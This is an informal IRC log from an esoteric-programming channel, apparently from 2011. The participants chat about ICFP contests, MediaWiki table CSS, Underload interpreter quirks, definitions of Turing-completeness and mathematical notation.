20:32:01 <elliott> 09:00:31 <ais523> the program at the heart of the 2006 ICFP
20:32:01 <elliott> 09:00:47 <ais523> it needs double-bootstrapping to compile, and you have to write the interpreter yourself
20:32:01 <elliott> The 2006 ICFP contest seems crazy, what with that 2D language inside.
20:32:06 <elliott> That you have to write a ray tracer in.
20:32:18 <elliott> ais523: well, it's more like a port than reinventing the wheel; mcmap is developed by fizzie and me
20:32:25 <ais523> 2006 was the best ICFP contest ever
20:32:36 <elliott> and 2007 the worst, no?
20:32:38 <ais523> when's the 2010 contest, btw?
20:32:42 <elliott> apparently it tried too hard to be like the 2006 one and failed
20:32:45 <elliott> ais523: err, it's 2011 now
20:32:49 <ais523> err, right
20:32:52 <ais523> when's the 2011 contest?
20:32:59 <elliott> in 2011
20:33:03 <ais523> it's possible I'll have a paper submitted to the ICFP
20:33:05 <elliott> "a few months befoer ICFP"
20:33:07 <elliott> *before
20:33:07 <ais523> it'd be fun if I did well in the contest too
20:33:17 <elliott> ais523: didn't you do the 2008 one?
20:33:24 <ais523> yep
20:33:26 <elliott> or 2009; the one whose ISO we mirrored
20:33:28 <elliott> ais523: how well did you do?
20:33:41 <ais523> umm, I think it probably was 2008
20:33:53 <ais523> and I think I was eliminated in the fifth elimination round, or something like that
20:34:00 <ais523> I did quite well but wasn't up there with the best entries
20:34:11 <elliott> how well did the tex one do? :p
20:34:18 <ais523> I don't know
20:34:35 <ais523> I want to do an INTERCAL-based ICFP entry sometime
20:34:45 <ais523> but it needs to be a vaguely appropriate task
20:34:51 <ais523> which seems unlikely
20:35:18 <elliott> ais523: incidentally, I've half-invented a purely functional, lazy concatenative language
20:35:25 <elliott> *purely functional, strongly-typed,
20:35:46 <ais523> who invented the other half?
20:35:53 <ais523> or is it just missing?
20:36:22 <elliott> ais523: I haven't invented it yet
20:37:05 <elliott> ais523: oh, by the way, can you edit the esolang wiki CSS?
20:37:11 <elliott> It'd be nice if you copied the "wikitable" class
20:37:16 <elliott> from Wikipedia
20:38:16 <ais523> I can, indeed
20:38:16 <elliott> hmm, I think the CRTL spec is ambiguous
20:38:18 <elliott> in more ways than one
20:38:21 <ais523> what's the licensing on wikitable like?
20:38:27 -!- augur has quit (Remote host closed the connection).
20:38:35 <elliott> ais523: err, do the Wikipedia .css pages have licenses?
20:38:38 <elliott> it's in MediaWiki:something
20:38:47 <elliott> Monobook.css or Common.css I think
20:38:52 <elliott> (well, Vector.css, but that's not applicable for us)
20:38:54 <ais523> MediaWiki:monobook.css or mediaWiki:common.css
20:38:57 <ais523> probably the latter
20:39:16 <elliott> hmm, I'm not sure
20:39:24 <elliott> monobook doesn't mention wikitable, but Common.css only has a few rules mentioning them
20:39:27 <elliott> and none seem relevant
20:39:36 <elliott> perhaps it's done via javascript...
20:39:40 <elliott> ...that would be insane
20:39:47 <ais523> it's definitely CSS
20:40:01 <ais523> remember that I was involved in maintaining the MediaWiki: namespace on Wikipedia for over a year
20:40:11 <ais523> although I can't remember it all
20:40:16 <elliott> collectively for all users of one wiki in MediaWiki:Common.css (for example, on this and some other projects there is or was the class wikitable, later moved to shared.css)
20:40:20 <elliott> http://svn.wikimedia.org/viewvc/mediawiki/trunk/phase3/skins/common/shared.css?view=markup
20:40:35 <ais523> ah, it was moved, that would make sense
20:40:38 <elliott> there's also these two from common.css:
20:40:39 <elliott> [[/* Normal font styling for table row headers with scope="row" tag */
20:40:40 <elliott> .wikitable.plainrowheaders th[scope=row] {
20:40:40 <elliott> font-weight: normal;
20:40:40 <elliott> text-align: left;
20:40:40 <elliott> }
20:40:43 <elliott>
20:40:44 <ais523> moved into the core itself is a little surprising, though
20:40:45 <elliott> .wikitable td ul,
20:40:47 <elliott> .wikitable td ol,
20:40:49 <elliott> .wikitable td dl {
20:40:51 <elliott> text-align: left;
20:40:53 <elliott> }
20:40:57 <elliott> ]]
20:40:59 <elliott> ais523: hmm, that means it's OK for esolang, right?
20:41:07 <elliott> because the CSS files are licensed under mediawiki's license already
20:41:09 <ais523> MediaWiki itself isn't PD either
20:41:18 <elliott> yes, but Esolang already has pages with its code
20:41:18 -!- oerjan has quit (Remote host closed the connection).
20:41:21 <elliott> in the MediaWiki: namespace
20:41:26 <ais523> nah, those pages don't actually exist
20:41:27 <elliott> so they're arguably not pages
20:41:29 <elliott> see?
20:41:32 <ais523> if you edit them, they do
20:41:33 <elliott> so it's okay to put it in the .css page
20:41:35 <elliott> heh
20:41:48 <ais523> it's a case of global default, plus the possibility for a local override
20:45:23 <elliott> ais523: hmm
20:45:29 <elliott> is the default file available
20:45:32 <elliott> even if you edit it?
20:45:40 <elliott> you could just include that with a css directive
20:46:07 <elliott> and then reasonably argue that the 16 wikitable lines are sufficiently obvious as to be uncopyrightable :P
20:46:20 <elliott> but more importantly
20:46:20 <elliott> CRTL!
20:46:27 <ais523> it'd be a mess; it is available sort-of, but the URL depends on things like whether you're logged in, or whatever
20:46:37 <ais523> why don't you just do {| cellspacing=1 cellpadding=1 border=1
20:46:39 <ais523> or whatever?
20:46:49 <ais523> the old-fashioned pure-HTML way!
20:46:49 <elliott> ais523: border=1 produces an ugly ridge border
20:46:58 <elliott> and having a flat border requires a style="" on every single cell
20:47:01 <elliott> which is hideously impractical
20:47:04 <ais523> oh, I actually rather like that sort of border
20:47:17 <elliott> ais523: I don't like it on http://esolangs.org/wiki/Checkout/Quick_reference
20:47:20 <elliott> it's too much visual noise
20:47:30 <elliott> a flatter border would be beneficial, which wikitable has
20:47:37 <ais523> anyway, no CSS editing for me right now, I fear I'd get sucked into a holy war
20:47:46 <ais523> as people would want it to be consistent across the wiki
20:47:55 <elliott> heh
20:49:20 <ais523> I also fear it might end up breaking one of the Graue Regulations
20:49:31 <ais523> which are rules that you get into serious trouble for breaking, that nobody knows what they are until someone breaks them
20:49:42 <ais523> (perhaps not even Graue)
20:49:58 <elliott> `addquote <ais523> anyway, no CSS editing for me right now, I fear I'd get sucked into a holy war [...] <ais523> I also fear it might end up breaking one of the Graue Regulations <ais523> which are rules that you get into serious trouble for breaking, that nobody knows what they are until someone breaks them
20:49:59 <HackEgo> 320) <ais523> anyway, no CSS editing for me right now, I fear I'd get sucked into a holy war [...] <ais523> I also fear it might end up breaking one of the Graue Regulations <ais523> which are rules that you get into serious trouble for breaking, that nobody knows what they are until someone breaks them
20:50:08 <Sgeo> If I wrote an esolang interp in Clojure, would anyone use it, or are JVM esolang interps a bad idea?
20:50:12 <elliott> 320 quotes and still not a funny one yet!
20:50:44 <ais523> Sgeo: they'd be around as likely to use it as in any other language
20:50:52 <ais523> `addquote <elliott> 320 quotes and still not a funny one yet!
20:50:52 <HackEgo> 321) <elliott> 320 quotes and still not a funny one yet!
20:50:55 <olsner> elliott: why do you keep adding non-funny quotes!?
20:51:07 <elliott> olsner: because if i didn't add quotes we'd never get a funny one!!
20:51:40 -!- elliott has set topic: «Tra átedáwakin» tradáwan. | http://tunes.org/~nef/logs/esoteric/?C=M;O=D.
20:51:50 <elliott> ais523: that's not true
20:51:57 <elliott> ais523: because running JVM stuff is a pain
20:52:03 <elliott> especially since all clojure programs come with an additional jar
20:52:16 <elliott> ais523: ofc, if you meant that the chance is 0, then i agree
20:52:25 <Sgeo> QQ
20:52:50 <ais523> elliott: oh, I was going on the basis that setting up esolang development environments tend to be nontrivial already
20:53:01 <ais523> (and, ofc, teaching Java for a living, I'm likely to be able to run JVM stuff...)
20:53:15 <elliott> hmm, did you ever figure out what computational calss qq was, apart from being sub-TC?
20:53:17 <elliott> ais523: err, really?
20:53:24 <elliott> usually it's just a "python" or a "gcc" away
20:54:52 <elliott> ais523: please don't ban me for twenty-four years
20:55:09 <Sgeo> ..?
20:55:10 <olsner> maybe we should standardize on asylum, so we can just build every esolang directly from svn
20:55:16 <elliott> olsner: :D
20:57:01 <ais523> elliott: note that that doesn't mean I think it's a good language
20:57:09 <ais523> and especially not a good first language
20:57:16 <elliott> ais523: what doesn't
20:57:20 <elliott> you teaching java?
20:57:37 <ais523> yep
20:57:47 <Sgeo> Once Clojure-in-Clojure is completed, Clojure can be ported to bare metal!
20:57:53 <Sgeo> maybe
20:57:56 <Sgeo> I hope, I mean
20:58:17 <elliott> print "ok, so here comes the big gun (extracting the dependencies).This process takes about 2 minutes and 30 seconds to complete.....so chill"
20:58:21 <elliott> --Asylum
20:59:07 <ais523> what's with the time estimates?
20:59:10 <ais523> especially hardcoded?
20:59:19 <elliott> ais523: idiocy is what's with them!
20:59:25 <Sgeo> I didn't do it
20:59:36 <elliott> have you taken a look at my UL interp, btw?
20:59:46 <elliott> you may find oerjan's church algorithm interesting
21:01:07 <ais523> no, not yet
21:01:31 <ais523> fizzie: do you have a copy of gearlance or one of its friends lying around, btw? I want to test some defend9.75 changes that egojous can't handle
21:01:57 <ais523> and oerjan's church algorithm is presumably based on matching : and * pairs, but with specialcasing for commands that cancel each other out, and the ability to go down to 0 via !()
21:02:10 <ais523> actually, the ! and () needn't be next to each other
21:02:13 <ais523> so they'd need to be included too
21:02:16 <elliott> ais523: egojsout?
21:02:18 <elliott> is the obvious thing to use
21:02:27 <ais523> but it's online
21:02:30 <elliott> <ais523> and oerjan's church algorithm is presumably based on matching : and * pairs, but with specialcasing for commands that cancel each other out, and the ability to go down to 0 via !()
21:02:32 <elliott> it's more complicated than that
21:02:38 <ais523> and thus kind-of hard to use when I'm at home
21:02:39 <elliott> ais523: no it's not, you can wget two files to get egojsout
21:02:42 <ais523> I suppose I could save a local copy
21:02:52 <elliott> ais523: basically church works via partial emulation
21:03:07 <elliott> ais523: it can even handle ((:*)^)
21:03:49 <ais523> beautifully complex
21:04:22 <elliott> +ul ((:a~*):a~*)^S
21:04:23 <elliott> ^ul ((:a~*):a~*)^S
21:04:23 <fungot> (:a~*):a~*
21:04:26 <elliott> yes! it works!
21:04:29 <elliott> p === (p)
21:04:43 <elliott> (which i thought was impossible until i realised that's basically a quine)
21:04:53 <elliott> ^ul ((:a~*):a~*)^^^^^^S
21:04:54 <fungot> (:a~*):a~*
21:05:18 <elliott> I think this also implies that (p) === (p)a
21:05:19 <elliott> because
21:05:20 <elliott> p === (p)
21:05:23 <elliott> (p) === ((p))
21:05:26 <elliott> (p) === (p)a
21:08:33 <Phantom_Hoover> I have this feeling that the 3 lightbulbs problem would be fantastic for making sure you didn't hire people capable of abstraction.
21:09:00 <elliott> wut?
21:09:11 <elliott> Oh, the switch thing.
21:09:29 <Phantom_Hoover> OTOH, that's probably a good criterion to hire code monkeys on.
21:09:29 <elliott> My answer would be "Thanks, this interview is now over".
21:10:24 <ais523> Phantom_Hoover: I know that upon hearing of the problem, I tried to work it out for more and more and more lightbulbs
21:10:51 <ais523> I spent quite a while wondering about if an infinite number were possible by undoing the switches, and reconnecting the wires behind them
21:10:58 <ais523> but I've forgotten what conclusion I came to
21:12:21 <elliott> argh, i've entered my hating-all-languages rut again
21:12:23 <elliott> ;_;
21:12:48 <Phantom_Hoover> elliott, I actually re-read the first time I started querying you on that.
21:13:04 <elliott> Phantom_Hoover: Yes, when you were horrible and liked things.
21:13:07 <Phantom_Hoover> Turns out you actually did make sense, but you phrased your point *really* poorly.
21:13:10 <elliott> What a repulsive person you were!
21:13:15 <elliott> Phantom_Hoover: (What logdate? X-D)
21:13:48 <Phantom_Hoover> elliott, well, no, but you seemed to be saying "idiots hate Haskell because other idiots wrote crap libraries and package managers for it".
21:14:21 <Phantom_Hoover> Which kind of implies a vast conspiracy of idiots making false flag operations to discredit languages which displease them.
21:14:31 <elliott> Hmm, I don't remember saying that
21:14:48 <elliott> cabal isn't _awful_, just annoying in parts... and most hackage libraries are alright
21:14:58 <elliott> I'd say what's engendered most Haskell hate is dons' rabid promition >:)
21:15:00 <elliott> *promotion
21:15:10 <Phantom_Hoover> Well, that's not what you actually were saying, but you constructed the sentence really poorly/
21:15:51 <ais523> Phantom_Hoover: you're assuming that all idiots have a common agenda
21:15:58 <elliott> they do
21:16:02 <elliott> they have a union and everything
21:16:03 <Phantom_Hoover> ais523, no, that's why it didn't make sense.
21:16:04 <elliott> the Union of Idiots
21:16:09 <ais523> I /hope/ that's not true, as the implications are complex and somewhat worrying
21:16:12 <elliott> they have bi-annual meetings
21:16:21 <elliott> to discuss (idiotically) how to bring more idiocy into the world
21:16:27 <elliott> very sinister.
21:16:29 <Phantom_Hoover> elliott, but how can you have a meeting of ~3 billion people?
21:16:32 <ais523> are they any good at it?
21:16:40 <elliott> Phantom_Hoover: Wow, that's an underestimate!
21:16:50 <elliott> ais523: no, absolutely terrible. unfortunately that's exactly what they're aiming for.
21:17:04 <Phantom_Hoover> elliott, the other 3.5 billion are too idiotic to have joined the union.
21:19:35 <elliott> 10:27:05 <ais523> the actual initial condition has no program that generates it
21:19:35 <elliott> 10:27:08 <ais523> the Perl is an approximation
21:19:35 <elliott> errd
21:19:36 <elliott> *er
21:19:37 <elliott> *err
21:19:41 <elliott> did you ever write such a program?
21:20:38 <elliott> !ul (x)S
21:20:44 <elliott> hmph, egobot used to have !ul as underload
21:20:47 <elliott> admittedly, it was ais523's daemon
21:20:50 <elliott> but now it's all verbose!
21:22:11 <ais523> it was Keymaker's BF interp
21:22:19 <ais523> all I did was make a couple of small changes to daemonize it
21:22:29 <ais523> elliott: I need more context to answer that
21:22:40 <elliott> ais523: 2,3 proof
21:22:51 <ais523> oh, the initial condition's infinitely long
21:23:09 <ais523> but I'm trying to write a 1cnis program to generate it atm
21:23:19 <ais523> I'm trying to use 1cnis to formulate a definition of TCness
21:23:40 <elliott> brb
21:24:30 <ais523> (which is, that a language is TC if any Turing machine can be converted via a provably-halting process to a finite 1cnis program whose output is an initial condition for that language which causes it to halt iff the original Turing machine did)
21:26:52 <quintopia> what does that say about 1cnis?
21:27:37 <ais523> that it's sub-TC
21:27:41 <ais523> which is the point
21:27:51 <ais523> it's designed to be sub-TC, but still capable of relatively interesting output
21:30:02 <quintopia> interesting enough to make your definition reasonable?
21:30:42 <ais523> yep
21:31:03 <ais523> well, the original definition was just "finite string padded with infinitely many 0s", then people realised that cyclic input was simple and interesting too
21:31:54 <ais523> and the 2,3 machine seems to need a more interesting generalised input than that
21:32:17 <ais523> so the idea's to use 1cnis to generate the input, without being powerful enough to work out whether a turing machine halts or not
21:32:39 <ais523> (note: it's entirely possible for computable programs to work out if a TM halts if they're allowed infinite time to do so, and only have to output in the case where it halts)
21:34:04 -!- augur has joined.
21:36:20 <quintopia> that's a halt-recognizer. no one here would deny their existence.
21:36:29 <ais523> yep
21:36:43 <ais523> so the idea is to come up with a language you can't write a general TM halt-recogniser in
21:36:49 <ais523> and yet is as powerful as possible despite that
21:36:55 <quintopia> well yes
21:37:38 <quintopia> is such a thing most likely less powerful than the most powerful sub-TC language?
21:37:52 <ais523> hmm, I don't know
21:46:59 <quintopia> do you think it's possible to design a language such that number of features it has are controlled by some parameter N, and as N->infinity, it the fraction of computable problems it is capable of deciding ->1?
21:47:36 <zzo38> I don't know.
21:47:43 <quintopia> so far, all the languages i know that have a parameter gain all the TCness suddenly in the jump from finite to infinite
21:47:56 <elliott> <ais523> (which is, that a language is TC if any Turing machine can be converted via a provably-halting process to a finite 1cnis program whose output is an initial condition for that language which causes it to halt iff the original Turing machine did)
21:47:58 <elliott> i dislike this
21:48:04 <quintopia> for instance, bounded loops
21:48:15 <ais523> elliott: for what reason?
21:48:58 <elliott> ais523: because i don't think repeating progams are acceptable
21:49:25 <ais523> ah
21:49:38 <elliott> ais523: that makes a language with just enough to execute one sub-TC step, plus a simple conditional halt, TC
21:49:44 <ais523> most people disagree with you on that, I think
21:49:47 <elliott> cycle (step; halt if halt flag)
21:50:02 <ais523> also, it's a little irritating that hibernation on this system correctly saves everything but the icon previews shown on alt-tab
21:50:17 <ais523> my guess is, that they're stored in GPU memory, and hibernation restores CPU memory correctly but screws up on GPU memory somehow
21:50:47 <elliott> I doubt they're exclusively in GPU memory...
21:50:51 <ais523> <elliott> ais523: that makes a language with just enough to execute one sub-TC step, plus a simple conditional halt, TC <--- but it is, if it allows infinite programs, by most common definitions
21:51:12 <elliott> ais523: well, yes, which is why i don't think they should be allowed
21:51:30 <elliott> ais523: a language which had that as its core but wrapped the whole program in an implicit cycle would be OK, since it doesn't have to resort to infinite programs being fed to an interpreter in its definition
21:51:35 <ais523> I think such a language probably /is/ TC, all it's missing is a loop construct
21:51:50 <elliott> exactly
21:51:53 <elliott> it's missing a loop construct
21:51:56 <ais523> unconditional goto would be enough
21:52:06 <ais523> and given that it allows infinite programs, that in itself is a loop construct
21:52:13 <elliott> What I really want is a formal definition of IO-complete.
21:52:36 <ais523> elliott: put it this way: Turing machines themselves are non-TC by your definition, because they'd only be allowed a finitely long tape
21:53:34 <elliott> ais523: err, no, tape isn't part of the program
21:54:10 <ais523> elliott: I'm talking about using 1cnis to generate the equivalent of the tape
21:54:16 <elliott> hmm
21:54:19 <ais523> i.e. an input for a /particular/ Turing machine
21:54:33 <elliott> fair enough, then
21:54:46 <elliott> ais523: I'm really talking from a language point of view
21:54:50 <elliott> TMs are weird
21:55:20 <ais523> well, do you consider "turing machine" a language, or "a particular turing machine" a language? there are cases to be made for both points of view
21:55:47 <elliott> ais523: well, precisely
21:58:31 -!- quintopia has quit (Ping timeout: 272 seconds).
21:58:41 -!- quintopia has joined.
21:58:41 -!- quintopia has quit (Changing host).
21:58:41 -!- quintopia has joined.
21:59:40 <Slereah> But a universal turing machine is TC :o
21:59:53 -!- pikhq has joined.
22:00:12 -!- pikhq_ has quit (Ping timeout: 264 seconds).
22:01:20 -!- Phantom_Hoover has changed nick to Prince_Charles.
22:01:32 <elliott> ais523: you've read stack overflow a bit, right?
22:01:40 <elliott> wtf is the difference between the programmers stackexchange and stackoverflow
22:01:44 <ais523> a very small bit, mostly I just follow links to it from reddit
22:01:47 <elliott> "migrated from stackoverflow.com 2 days ago
22:01:47 <elliott> This question came from our site for professional and enthusiast programmers." --programmers.stackexchange
22:01:52 <elliott> "This is a collaboratively edited question and answer site for expert programmers interested in professional discussions on software development. It's 100% free, no registration required." --programmers.stackexchange
22:01:54 <ais523> and I think stackoverflow's about programming/coding specifically
22:02:02 <elliott> the question is "What kind of things are easy in Haskell and hard in Scala, and vice versa?"
22:02:04 <ais523> as in, "how do I write a while loop in brainfuck"
22:02:06 <elliott> which is about programming/coding
22:02:12 <elliott> ais523: possibly, but
22:02:13 <elliott> <elliott> This question came from our site for professional and enthusiast programmers." --programmers.stackexchange
22:02:13 <elliott> <elliott> "This is a collaboratively edited question and answer site for expert programmers interested in professional discussions on software development. It's 100% free, no registration required." --programmers.stackexchange
22:02:17 <ais523> whereas stackexchange is about things that aren't quite so specific
22:02:18 <elliott> those descriptions are almost identical
22:02:23 <elliott> *programmers.
22:02:28 <elliott> stackexchange is just their money cow
22:02:35 <elliott> err, is money cow a word? :D
22:02:36 <ais523> also, stackexchange is more enterprisey, and apparently has a more insane community
22:02:44 <elliott> ais523: stackexchange is a host
22:02:49 <elliott> stop referring to an individual site as that
22:02:53 <elliott> it's like saying "geocities is badly designed"
22:02:55 <elliott> because of one site on it
22:03:13 <ais523> ah, didn't realise there was more than one stackexchange site
22:03:35 <elliott> ais523: for instance the Mathematics one
22:03:43 <elliott> (different from MathOverflow, which is also a stack exchange site, but with its own domain)
22:03:56 <elliott> (it seems every stack*/*overflow site must have two copies!)
22:04:17 <elliott> technically Mathematics stackexchange is for idiots and MathOverflow is for mathematicians
22:04:35 -!- quintopia has quit (Ping timeout: 276 seconds).
22:05:19 -!- quintopia has joined.
22:05:19 -!- quintopia has quit (Changing host).
22:05:19 -!- quintopia has joined.
22:05:22 <Prince_Charles> http://komplexify.com/blog/2011/02/23/indefinite-is-right/
22:05:24 <Prince_Charles> Hmm.
22:05:50 <elliott> "I’ve gone on about renaming the imaginary number or being precise with trig, and I’m a believer that was the wrong choice."
22:05:54 <elliott> Person with no actual mathematical skill detected.
22:05:58 <elliott> *that pi was
22:06:02 <Prince_Charles> elliott, link?
22:06:07 <Prince_Charles> Oh, right.
22:06:08 <elliott> Prince_Charles: THE THING YOU JUST LINKED
22:06:12 <elliott> >_<
22:06:19 -!- oklopol has joined.
22:06:24 <Prince_Charles> I SKIPPED THE FIRST BIT AND LOOKED AT THE FIRST MATHSY BIT
22:06:35 <Prince_Charles> oklopol, DO YOU HAVE, LIKE, A MATHS DETECTOR
22:06:43 <elliott> oklopol
22:06:43 <elliott> omg
22:06:45 <elliott> i've miiissed you
22:06:52 <oklopol> is Prince_Charles phantom
22:06:58 <Prince_Charles> oklopol, #esoteric-minecraft NOW
22:07:00 <Prince_Charles> oklopol, yes.
22:07:09 <elliott> oklopol promise not to ever leave again please
22:07:24 <oklopol> well i promised to myself i wouldn't join before my master's thesis is finished, but here i am
22:07:34 <elliott> that is a terrible promise, i hereby revoke it
22:07:46 <oklopol> well it's been revokened already
22:07:50 <elliott> hooray
22:07:55 <ais523> how can you revoke someone else's promise?
22:08:00 <elliott> ais523: forcibly
22:08:05 <ais523> elliott: note that I haven't been here for a while for similar reasons
22:08:18 <ais523> although my master's thesis was finished, submitted and marked ages ago
22:08:18 <elliott> ais523: I thought you were avoiding someone
22:08:22 <oklopol> yeah but you're doing a real thesis
22:08:26 <elliott> who can... tell when you're on IRC, or something
22:08:27 <oklopol> i'm doing a silly kids' thesis
22:08:38 <ais523> yep, in order to give myself enough time to finish the work for them that I hadn't done
22:08:42 <elliott> heh
22:08:46 <elliott> i have a copy of oklopol's masters thesis right here
22:08:49 <elliott> allow me to recite
22:08:55 <elliott> hmm
22:08:58 <elliott> what would be suitably insulting
22:09:10 <Prince_Charles> elliott, it's in Finnish, remember.
22:09:13 <elliott> WHY THE HALTING PROBLEM MEANS YOU CAN'T SAY ANYTHING ABOUT ANY PROGRAM, YOU JUST CAN'T KNOW, OR,
22:09:31 <oklopol> it's not in finnish
22:09:33 <elliott> Päöööööketealala on defining divison by zero in the reals
22:09:34 <elliott> By
22:09:36 <elliott> Oklo the Pol
22:09:44 <elliott> oklopol: one word of the title is!
22:09:55 <oklopol> in yours, yes, in mine, no
22:09:59 <ais523> oklopol: why not?
22:10:07 <elliott> because oklopol can't speak finnish
22:10:10 <ais523> so that English researchers can read it?
22:10:10 <elliott> he actually lives in new jersey
22:10:11 <oklopol> because english is easier
22:10:15 <elliott> but
22:10:19 <elliott> but finnish is agglutinative
22:10:23 <oklopol> that too
22:10:27 <oklopol> the aggleuege thing
22:10:31 <oklopol> it's annoying
22:10:33 <elliott> why would you ever pass up the chance to just pile a bunch of words on top of each other to get a new word
22:10:36 <elliott> that's amazing
22:11:03 <oklopol> the fact english researchers can read it doesn't matter because no one is going to read it except my supervisor
22:11:21 <oklopol> and another guy who checks it, who actually isn't very good at english because he's over 100 years old
22:11:32 <Prince_Charles> elliott, AS A MEMBER OF THE ROYAL FAMILY MIGHT I REMIND YOU THAT ENGLISH IS OBVIOUSLY THE SUPERIOR LANGUAGE
22:11:34 <elliott> oklopol: i'd totally read it and pretend to understand, but i bet you won't even upload it
22:11:44 <oklopol> you have to do the bachelor's in finnish, but - thank god - you can do your master's in english
22:11:52 <elliott> Prince_Charles: can't you get executed for impersonating the royal family
22:12:03 <ais523> oklopol: I'm just glad they don't make me do my PhD thesis in Finnish
22:12:06 <elliott> oklopol: i thought you were learning japspeak anyway, and that's agglunuangungoisnaoign pile-on-toppy
22:12:10 <ais523> because I don't know Finnish, and it would be kind-of difficult
22:12:10 <oklopol> elliott: it will probably be published
22:12:14 <oklopol> i can link it
22:12:19 <Prince_Charles> elliott, true, but I am a member of the royal family so it doesn't apply.
22:12:28 <elliott> Prince_Charles: toucheee
22:12:30 <oklopol> published in a free place
22:12:40 <elliott> ais523: just learn the words for basic logical things
22:12:49 <elliott> ais523: and use agglutinativity to construct the rest of what you have to say
22:12:54 <elliott> from scratch
22:13:00 <elliott> admittedly, every word will take up about five pages
22:13:00 <Prince_Charles> http://komplexify.com/blog/2009/02/19/in-defense-of-j/
22:13:18 <Prince_Charles> tl;dr: "i is bad because it weeds the idiots out of mathematics."
22:13:35 <oklopol> what?
22:13:37 <oklopol> what is i
22:13:45 <Prince_Charles> oklopol, -_-
22:13:46 <oklopol> oh
22:13:48 <oklopol> not the language
22:13:49 <elliott> i is elliott
22:13:54 <oklopol> the imaginarium
22:14:02 <Prince_Charles> Of Doctor Parnassus?
22:14:09 <elliott> *Persnickity
22:14:12 <elliott> what was i gonna say. uhh.
22:14:20 <elliott> oh yeah.
22:14:26 <elliott> um i forgot.
22:14:35 <elliott> let's talk about how bad google translate's interface is.
22:14:38 <elliott> or something.
22:14:42 <ais523> TDWTF forums are discussing the fact that apparently, you aren't supposed to use MSDN versions of Windows for anything but development
22:15:13 <Prince_Charles> elliott, but we have already pointed out that text interfaces are USER UNFRIENDLY and COMPLETELY INFERIOR TO SYSTEMS SUCH AS 3DNA, eh, Sgeo?
22:15:22 <elliott> Prince_Charles: it seems that the only mathematical stuff this guy writes about is stupid notational complaints
22:15:38 <Prince_Charles> If I were my father I would make an antisemitic remark here.
22:15:41 <elliott> i should be j! "sin(x)^2 should obviously mean sin(x) squared, and sin^2(x) is like satan itself!"
22:15:46 <elliott> "blah blah blah integrals confuse me!"
22:16:00 <Sgeo> Prince_Charles, when did I suggest that the me now agrees with the past me?
22:16:09 <oklopol> i wonder if there's people who believe in the reals but not the complex numbers
22:16:15 <zzo38> I think it is OK to use "i" for imaginary numbers. I think it can be formatted as $\rm i$ when you mean the imaginary numbers mathematical constant rather than the variable "i" as $i$
22:16:19 <Sgeo> oklopol, Recordis
22:16:31 <ais523> elliott: an iterated sin/cos is useful in describing the motion of a child on a swing
22:16:32 <elliott> oklopol: they're imaginary!
22:16:48 <elliott> ais523: but not an adult?
22:16:54 <elliott> do they swing differently?
22:16:54 <ais523> their horizontal displacement from the midpoint is sin sin t, if you choose appropriate values
22:16:56 <Sgeo> Recordis hates imaginary numbers.
22:16:59 <elliott> "I’m am a professional mathematician with an interest in the liberal arts."
22:17:01 <ais523> adults tend to swing more violently, and possibly break the swing
22:17:03 <elliott> he'm am a professional mathematician
22:17:05 <ais523> also, there's more air resistance
22:17:09 <oklopol> zzo38: you missed the point. the point was way stupider than that.
22:17:13 <Prince_Charles> Sgeo, who is this Recordis person.
22:17:15 <elliott> `addquote <oklopol> zzo38: you missed the point. the point was way stupider than that.
22:17:21 <Prince_Charles> elliott, he's a professional complex analyst.
22:17:33 <HackEgo> 322) <oklopol> zzo38: you missed the point. the point was way stupider than that.
22:17:44 <elliott> i don't even want to know who Recordis is.
22:17:47 <pikhq> If we really want to go around changing math notation, let's start with the *really* egregious stuff.
22:17:55 <pikhq> Like 1-indexing of matrices.
22:17:55 <elliott> that's a lie, i do want to know
22:18:00 <elliott> so i can laugh at Sgeo for associating with him
22:18:04 <Prince_Charles> elliott, some idiot who Sgeo is incapable of seeing as such.
22:18:10 <Sgeo> A fictitious character.
22:18:32 <oklopol> pikhq: i'm actually doing stuff where i need to do stuff on the whole Z^2 plane, but actually usually just use a submatrix of it
22:18:53 <oklopol> so i have to either use nonstandard indexing of matrices or
22:19:09 <oklopol> nonstandard indexing of the plane
22:19:27 <pikhq> oklopol: I'm just a poor CS student in a linear algebra class. 1-indexing must die.
22:19:33 <oklopol> or constantly switch
22:19:42 <oklopol> i wanted to strangle mathematics when i realized this
22:19:44 <zzo38> I did read the article. Also, they are wrong when they said "Mathematicians tried to fix this somewhat by changing the name of imaginary numbers to complex numbers". Imaginary numbers are like square root of negative numbers. Complex numbers are numbers with real and imaginary components.
22:19:56 <oklopol> well i was mostly hating on the fact the axes are in a different order
22:19:57 <zzo38> (One or both of which may be zero)
22:20:00 <Sgeo> http://tvtropes.org/pmwiki/pmwiki.php/Main/AlgebraTheEasyWay <3
22:20:09 <pikhq> As should (as I have said) any emphasis manual computation of algorithms.
22:20:30 <oklopol> 1-indexing is annoying as well, usually
22:20:45 <Prince_Charles> Sgeo, I SUSPECT YOU OF BEING INVOLVED
22:20:58 <elliott> 1-indexing is silly, it's for people who think N is the wrong N
22:21:02 <elliott> :D
22:21:23 <Prince_Charles> elliott, like the maths teacher who kicked me out of class for that?
22:21:27 <elliott> YES
22:21:28 <pikhq> I mean, manual computation of algorithms has absolutely no use. At all.
22:21:38 <pikhq> *Implementing* an algorithm, sure.
22:21:41 <oklopol> which N is correct, elliott?
22:21:58 <elliott> oklopol: the one starting with 4
22:21:59 <elliott> i mean 0
22:22:02 <elliott> (i mean 4)
22:22:08 <Sgeo> pikhq, it's so you can know the suffering of those pre-any electronic device or slide rule people
22:22:14 <elliott> wouldn't it be cool if 4 was the smallest number.
22:22:31 <Prince_Charles> Sgeo, you mean pre-Napier people?
22:22:43 <Prince_Charles> That was back when you didn't even have sensible notation.
22:22:51 <elliott> "What are these books doing on this site, then? Well, as the above quote suggests, the textbooks are written in the format of adventure novels, where the main characters essentially have to derive algebra (respectively trigonometry, calculus) from first principles in order to prevent the Big Bad from taking over the kingdom."
22:22:52 <elliott> dear god Sgeo
22:22:56 <Prince_Charles> I sometimes think of how things must have been then and shiver.
22:23:15 <oklopol> elliott: i use the other N more often
22:23:18 <oklopol> that's mostly because for some reason indexing usually starts at 0
22:23:19 <Sgeo> elliott, what?
22:23:32 <elliott> oklopol: err the correct N is the one that includes 0
22:23:35 <Sgeo> Prince_Charles, Wiki is unhelpful here
22:23:39 <elliott> isn't that me agreeing with you
22:23:40 <oklopol> elliott: erm, starts at 1
22:23:42 <Prince_Charles> Sgeo, Napier?
22:23:56 <Prince_Charles> The guy who invented logarithms in the stupidest way possible?
22:23:58 <elliott> oklopol: right well that's just because everyone is stupid
22:24:04 <pikhq> Sgeo: I suppose we should also make students know the suffering of those pre-pencil, and have to deal with a quill and an ink well?
22:24:11 <oklopol> elliott: this we agree on
22:24:13 <elliott> pikhq: YES
